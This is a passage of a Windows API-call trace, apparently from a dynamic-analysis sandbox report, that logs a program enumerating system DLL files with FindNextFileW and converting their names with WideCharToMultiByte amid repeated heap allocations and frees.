dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.314] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.314] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.314] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.314] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.314] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.314] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0031.314] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.314] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.314] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.315] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.315] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.315] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.315] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.315] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.315] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0031.315] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.315] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.315] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.315] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.315] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.315] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.315] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.315] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.315] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0031.315] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.315] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.315] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.315] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.315] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.315] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.315] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.315] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.315] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0031.315] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.315] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0031.315] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x1d7c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0031.315] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.315] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.316] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.316] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.316] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.316] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0031.316] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.316] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.316] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.316] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.316] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.316] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.316] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.316] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.316] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0031.316] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.316] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.316] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.316] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.316] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.316] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.316] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.316] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.316] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0031.316] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.316] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.316] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.316] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.316] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.316] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.316] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.316] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.317] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0031.317] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.317] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.317] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x1d7c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0031.317] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.317] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.317] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.317] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.317] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.317] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0031.317] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.317] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.317] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x1d7c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0031.317] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.317] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.317] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.317] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.317] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.317] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0031.317] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.317] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.317] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.317] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.317] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.317] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.317] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.317] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.317] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0031.317] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.317] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.318] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.318] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.318] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.318] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.318] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.318] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.318] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0031.318] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.318] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.318] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.318] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.318] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.318] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.318] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.318] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.318] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0031.318] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.318] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.318] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.318] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.318] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.318] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.318] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.318] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.318] FindNextFileW (in: 